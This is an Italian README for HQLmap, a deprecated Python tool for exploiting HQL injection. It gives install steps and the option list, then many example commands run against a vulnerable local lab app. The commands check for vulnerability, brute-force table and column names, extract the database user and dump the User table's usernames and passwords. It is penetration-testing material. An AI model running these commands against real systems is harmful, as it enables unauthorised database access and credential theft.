
(Deprecato) HQLmap, Strumento automatico per sfruttare le iniezioni HQL
Questo progetto è stato creato per sfruttare le iniezioni HQL. Lo strumento è stato scritto in Python e rilasciato sotto licenza MIT. Sviluppi futuri: ho in mente di sviluppare un modulo specifico per SQLmap.
Se vuoi un ambiente vulnerabile veloce dove provare lo strumento, ti consiglio di usare RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/
Inoltre, se desideri ulteriori informazioni su HQLi, dai un'occhiata a questo post del blog: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
Per installare questo progetto, devi solo clonarlo digitando:
git clone [email protected]:PaulSec/HQLmap.git
Per usare questo progetto, vai nella directory:
cd HQLmap
E avvia il progetto:
python HQLmap.py
Viene quindi mostrato l'utilizzo:
Usage: HQLmap.py [options]
Options:
-h, --help show this help message and exit
--url=URL qURL to pentest
--cookie=COOKIE Cookie to test it
--param=PARAM Param to test
--postdata=POSTDATA Postdata (POST Method)
--message=BLIND_HQLI_MESSAGE
Message appearing while Blind HQLi
--tables Tries to gather as much tables as possible (With
Bruteforce)
--T=TABLE Name of the table you want to get
--table_name_file=FILE_TABLE
DB file for name of tables
--columns Tries to gather as much columns as possible (With
Bruteforce)
--C=COLUMN Name of the column you want to get
--column_name_file=FILE_COLUMN
DB file for name of columns
--check Check if host is vulnerable
--user Tries to get user() from dbms
--count Get count of specified table(s)
--dump Dump specified table(s) / column(s)
--results Enumerate results after session
--verbose Verbose mode
Questa parte include diversi scenari.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check
L'output è molto semplice:
Host seems vulnerable.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables
Ecco l'output:
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
Eseguendo questa enumerazione, lo scanner utilizza il file predefinito per i nomi delle tabelle se non specificato. Il file predefinito è: db/tables.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
Eseguendo questa enumerazione, lo scanner utilizza i file predefiniti sia per i nomi delle tabelle che per i nomi delle colonne. I file predefiniti sono:
Per le tabelle: db/tables.db Per le colonne: db/columns.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo
E l'output:
[-] Table foo does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns
E l'output:
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar
E l'output:
[!] Table User has been found.
[-] Column bar in User does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count
Oppure per tutte le tabelle:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count
E l'output:
[!] Table User has been found.
[!] Count(*) of User : 3
Per eseguire questa azione, è necessario specificare una tabella (o tutte con il flag --tables) e aggiungere il flag --user in questo modo:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user
E l'output (dopo qualche secondo):
[!] Table User has been found.
[!] Username of Database found : SA
Per recuperare l'utente, ho implementato un algoritmo molto simile a una "dicotomia variabile".
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump
E l'output:
(redacted)
[Task]
[Name]
- Bob's shopping
- Alice's shopping
[Task]
[User_Id]
- 1
- 2
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
(redacted)
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump
E l'output:
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
[User]
[Password]
- password
- password
- password
[User]
[Email]
- [email protected]
- [email protected]
- [email protected]
[User]
[Firstname]
- Robert
- Alice
- Administrator
[User]
[Lastname]
- McBride
- O'Reilly
- Reynolds